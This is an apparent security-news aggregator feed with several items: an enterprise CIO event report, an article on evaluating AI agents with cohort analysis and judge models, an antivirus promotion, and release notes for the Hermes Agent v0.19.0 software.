To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.

“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.

]]> <![CDATA[CIO 100 Leadership Live New York: CIOs push past AI pilots for measurable returns]]> https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/ https://tsecurity.de/de/3682348/it-security-nachrichten/cio-100-leadership-live-new-york-cios-push-past-ai-pilots-for-measurable-returns/ Tue, 21 Jul 2026 01:07:24 +0200 📰 IT Security Nachrichten tsecurity.de

Technology executives from across the New York metropolitan area gathered July 16 at Convene, One Liberty Plaza, for CIO 100 Leadership Live New York, a full day of roundtables and panel discussions on enterprise AI investment, governance, and organizational change.

Several key areas of consensus emerged throughout this highly interactive event. Infrastructure fragmentation continues to block the path to securing returns on AI investments prompting leaders to understand rising cloud spend attributed to large language model utilization. This has caused a growing number of organizations to refocus on on-premises and hybrid options in C-suite and board-level capital planning conversations. Speakers, along with comments from the audience, described a shift from project thinking to product thinking, with smaller multidisciplinary teams moving faster than legacy structures.

Several participants repeatedly warned that automating broken processes just amplifies dysfunction. Governance and measurement remain unresolved, with usage metrics still getting mistaken for business value. One of the panels explored how CIOs may benefit from applying venture capital-style scrutiny to enterprise bets, weighing team execution as heavily as the technology itself. The throughline was a redefinition of the CIO role, from technology executor to business strategist fluent in revenue, board engagement, and transformation ownership.

Morning roundtable tackles AI infrastructure

The day opened with an invitation-only executive breakfast roundtable, “Beyond the Pilot, Building the Infrastructure for Real AI Returns,” co-hosted by Unisys and Dell Technologies. Over a dozen executives representing major public and private sector organizations across the New York metropolitan area joined Steve Hollander, senior director of Americas global alliances at Dell Technologies, and Matt Marshall, CIO at Unisys for a workshop-style discussion.

The session explored the strategic, operational, financial, and technological issues that must be mastered to optimize infrastructure decisions and separate organizations that are experimenting with AI from those competing on it. Discussion questions probed how CIOs measure whether AI investment is translating into business results, how they can break the cycle of fragmented and siloed AI deployments, how boards are beginning to scrutinize seven-figure token spend and whether on-premises or hybrid infrastructure can rein in costs.

The take-home point: the organizations pulling ahead are the ones that stopped treating AI as four separate problems, strategic, operational, financial, technological, owned by four separate functions, and started running it as one coordinated decision. Fragmentation is the actual cost center here, not the token spend itself. A CIO who solves the infrastructure question in isolation from the governance question, or the cost question in isolation from the talent question, ends up optimizing one silo while the other three keep bleeding value. Competing on AI, instead of just experimenting with it, means the finance, operations, technology and business sides are reasoning from the same picture of what’s being built and why, so the tradeoffs get made once, together, instead of getting re-litigated at every handoff.

Forum sessions open with a mandate for growth

Following breakfast, the main forum program began with “The New CIO Mandate, Delivering Growth, Not Just Technology.” In a moderated conversation, Laksh Nathan, chief information officer at Paramount Skydance, drew on his experience with mergers, enterprise transformation and AI-enabled development to describe a shift from project and application management toward a product-centric operating model. Nathan addressed how smaller, multidisciplinary teams are changing expectations on both the business and technology sides of the enterprise, and what mindset changes CIOs must lead to turn AI into an engine of growth rather than a cost center.

PwC followed with a session on “Designing the Intelligent Enterprise, From AI Investment to Evolving Operations.” Darren O’Meara, principal and chief technology officer for managed services, and Meghna Shah, principal for engineering and AI, examined why fragmented outcomes persist even after heavy investment in technology and transformation.

The intelligent enterprise, they posited, is less about working toward achieving specific technology outcomes and more about creating operating models that integrate strategy, technology, operations, and governance into one system. This, they explained, requires linking AI, data, and decisions across the business and will leave an indelible mark on how decision rights are redesigned, funding models are developed, and accountability is enforced to accommodate the speed of the agentic economy.

Talent, tradeoffs, and the cost of getting it wrong

The session “Return on Transformation: Time, Talent, and Tradeoffs” — with Prashant Hinge, chief information and transformation officer at MSIG USA; Joseph Gimigliano, chief technology officer at Northwell Health; and Eduard de Vries Sands, AI executive advisor at PatientPoint — examined why transformation initiatives so often lose their way.

The main culprit, even today in 2026, continues to revolve around a persistent instinct for technology implementations to become the objective rather than the means to a measurable business outcome. The panelists made the case for doing the incredibly difficult work of re-engineering (if not entirely re-imagining) existing processes before automating them and then placing smaller bets inside that bigger vision.

Ricky Thakrar, head of sales and account management at Zoho, took the stage to present “Smaller, Smarter, Safer, The Enterprise AI Architecture Most Leaders Get Backwards,” arguing that constrained, context-rich architectures consistently outperform expensive models bolted onto fragmented systems.

A round of Hot Topic Discussion Groups and a networking lunch followed, including the Next CIO Luncheon featuring Robert Half Regional Director Jason Deneu.

Afternoon sessions turn to security, scale, and investment signals

CSO and CIO Contributor Joan Goodchild moderated “Securing Trust in the Agentic Economy,” a discussion with Marlowe Cochran, CISO at the New York State Education Department, and Gee Rittenhouse, vice president of security services at AWS, on how organizations are balancing speed, innovation and security as AI agents move from experimentation into productization at scale.

Rittenhouse framed agentic risk as closer to human risk than traditional software risk, describing how an independent agent acting in a non-deterministic way really does look like a potential insider threat, pushing CISOs toward behavioral monitoring over static workload protection. He tied this to a structural shift in defense, noting it’s hard to do agentic security if you’re not observing it, putting observability at the center of agentic risk management.

Cochran concurred, adding that many of the key tools that are needed to move into the agentic economy already exist, but must be implemented more aggressively, comprehensively and even more creatively. CISOs don’t need to invent an entirely new security discipline for the agentic era so much as extend identity management, access control and monitoring frameworks they already run to cover a new class of non-human actor — agents.

A session on “AI, From Experimentation to Enterprise Impact” brought together Meagan Gentry, national AI practice manager and distinguished technologist at Insight and Yuri Gubin, chief technology officer at DataArt, for a candid look at why pilots stall before reaching scaled production and what operating capabilities, governance, cost visibility, continuous education, must be in place to sustain AI once a proof of concept works.

During the session’s Q&A segment, a discussion emerged around how proof-of-concept success can result in a false signal, raising questions about whether pilots should be considered successful before the intended outcomes have had time to materialize, and drawing a distinction between measuring usage and adoption versus measuring business value.

The panelists explored how CIOs can identify the small number of transformational AI opportunities worth pursuing rather than managing hundreds of incremental use cases, and even challenged whether prioritization is the CIO’s job at all. The discussion closed on a sequencing question with real strategic weight, whether AI-first strategies are putting the technology ahead of the business problem CIOs are trying to solve, and what role CIOs should play with boards in defining the outcomes AI is expected to support.

A shift in perspectives

The “Think Like a VC, Investment Shifts Towards Focused AI Applications” session featured three venture investors, Aaron Darr, partner at Lead Edge; Isabelle Phelps, partner at Lerer Hippeau; and Marshall Porter, general partner at AlleyCorp. The panel explored how investors evaluate risk and talent in a market where products and competitive positions can shift within months, and what separates a focused AI application with durable enterprise value from an AI wrapper built to chase a trend.

The panel challenged the enterprise instinct to seek certainty in a market moving this fast, questioning whether CIOs should stop looking for technologies that will future-proof the enterprise and instead grow more comfortable continuously reassessing their bets. Investors framed this as a deliberate departure from the traditional low-tolerance-for-failure posture that has long governed enterprise technology purchasing, arguing that the search for certainty has itself become a risk in a market where products and business models can shift within months. The discussion pressed CIOs to weigh how they can adopt a more dynamic investment mindset without compromising the enterprise security, governance and accountability their organizations still depend on.

A Lightning Insights followed, featuring five-minute briefings from Insight, Platform9 and Console, followed by Keystone Senior Principal Ellora Sarkar’s talk on why most enterprise AI investment fails to produce measurable value and what separates the small share of firms capturing real return on investment from the majority still stuck in pilots.

Closing the day

The forum closed with “What’s Next for the CIO, Preparing for the Next 12 to 24 Months,” a fireside conversation with Leif Maiorini, CIO for corporate services at Omnicom. Maiorini discussed why business processes need to be redesigned for agentic speed rather than automated around existing human workflows, how organizational structures may shift as autonomous agents reshape visibility and decision support, and where sustainable differentiation will come from once AI capability itself becomes widely accessible.

Maiorini encouraged the industry to clearly distinguish between nondifferentiated services that should be made as efficient as possible and the differentiated capabilities that actually influence why customers choose to do business with an organization, once the major efficiency gains from optimization and AI have been captured.

He was candid about the governance gap agentic systems open up, noting that agents lack the professional reputation, personal accountability and inherent constraints that shape human behavior, which creates new risk when autonomous decisions occur at machine speed. That combination, reinvesting efficiency gains into genuine differentiation while building governance models suited to non-human decision-makers, framed his closing case for why human creativity and judgment remain the enterprise’s most durable asset even as the underlying technology becomes commoditized.

Join the CIO 100 Awards & Conference Aug 17–19, 2026 at Omni PGA Frisco Resort & Spa, Frisco, TX — where top IT leaders celebrate innovation and connect.  Learn more to attend or partner.

]]> <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682310/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:34:08 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Automated Observability with Puppet in a Zero-Trust Environment (voxconf2026)]]> https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ https://tsecurity.de/de/3682288/it-security-video/automated-observability-with-puppet-in-a-zero-trust-environment-voxconf2026/ Tue, 21 Jul 2026 00:18:38 +0200 đŸŽ„ IT Security Video tsecurity.de <![CDATA[Avast One: One App for Security, Privacy & Performance]]> https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/ https://tsecurity.de/de/3682212/malware-trojaner-viren/avast-one-one-app-for-security-privacy-performance/ Mon, 20 Jul 2026 23:36:27 +0200 ⚠ Malware / Trojaner / Viren tsecurity.de Author: Avast - Bewertung: 2x - Views:4

Your digital life is complicated enough — your protection shouldn't be.

Avast One is an all-in-one app that brings together everything you need to stay safe, private, and running smoothly online. No more juggling separate apps, overlapping tools, or rigid bundles. Just one clean dashboard, one smart app, and full control over what protects you.

Here's what's inside Avast One: ✔ Advanced antivirus & real-time threat detection ✔ AI-powered scam protection that spots suspicious links before you click ✔ A VPN that encrypts your connection and hides your IP address ✔ Device cleanup tools to clear junk and speed things up ✔ Identity monitoring to check for your info on the dark web

Start with award-winning free antivirus — then add only the modules you actually need, when you need them. Available on Windows, Mac, Android, and iOS.

Because staying protected shouldn't feel like a second job.

🔒 Download Avast One free today → avast.com

#AvastOne #Avast #CyberSecurity #OnlineSafety #DigitalPrivacy #AntiVirus #VPN #ScamProtection #MalwareProtection #InternetSecurity #PrivacyProtection #CyberProtection #TechTips #DigitalSecurity #FreeAntivirus

Follow us:

YouTube @Avast
Instagram @AvastOfficial
Facebook @Avast
TikTok @Avast

]]> <![CDATA[A single AI agent conversation can look perfect and still be broken, leaders from LangChain, Conviva and CoreWeave said at VB Transform 2026]]> https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/ https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/ Mon, 20 Jul 2026 22:48:13 +0200 📰 IT Nachrichten tsecurity.de A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.

At VB Transform 2026, Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.

Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.

"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."

Evaluation criteria now function as the product spec

That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.

"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."

Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."

Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.

Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.

Why scoring traces one at a time is a mistake

Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.

Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.

Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.

Sizing the judge to the job

Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.

LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.

Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."

LLM-as-judge doesn't mean human-in-the-loop disappears

The bigger question is whether using LLM as a judge removes the need for a human in the loop.

Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.

"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."

Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level.

Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."

]]> <![CDATA[Head of US Safety Agency Resigns]]> https://tsecurity.de/de/3682086/it-security-nachrichten/head-of-us-safety-agency-resigns/ https://tsecurity.de/de/3682086/it-security-nachrichten/head-of-us-safety-agency-resigns/ Mon, 20 Jul 2026 22:22:04 +0200 📰 IT Security Nachrichten tsecurity.de

Read more of this story at Slashdot.

]]> <![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]> https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/ Mon, 20 Jul 2026 20:46:40 +0200 đŸ’Ÿ Downloads tsecurity.de Hermes Agent v0.19.0 (v2026.7.20)

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✹ Highlights

  • Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

  • The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

  • Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

  • Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

  • Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

  • Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

  • A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

  • One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

  • New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

  • Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

  • Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

  • Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

  • ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
  • Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
  • Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

  • 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
  • Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
  • Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
  • Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

  • TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
  • Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
  • Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
  • hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
  • Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

đŸ—ïž Core Agent & Architecture

Providers & models

  • Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
  • DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
  • GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
  • grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
  • Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
  • GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
  • Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
  • Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
  • Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
  • kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
  • Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

  • max + ultra effort levels across every surface and route (#62650 — @teknium1)
  • Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
  • MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

  • Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
  • Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
  • Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
  • Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
  • Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
  • Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

  • Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
  • hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
  • Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

  • Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
  • Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
  • Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

  • Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
  • Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
  • Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
  • Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
  • Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

đŸ“± Messaging Platforms

  • Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
  • WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
  • Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
  • Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
  • Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
  • Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

đŸ–„ïž Hermes Desktop App

  • Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
  • Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
  • Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
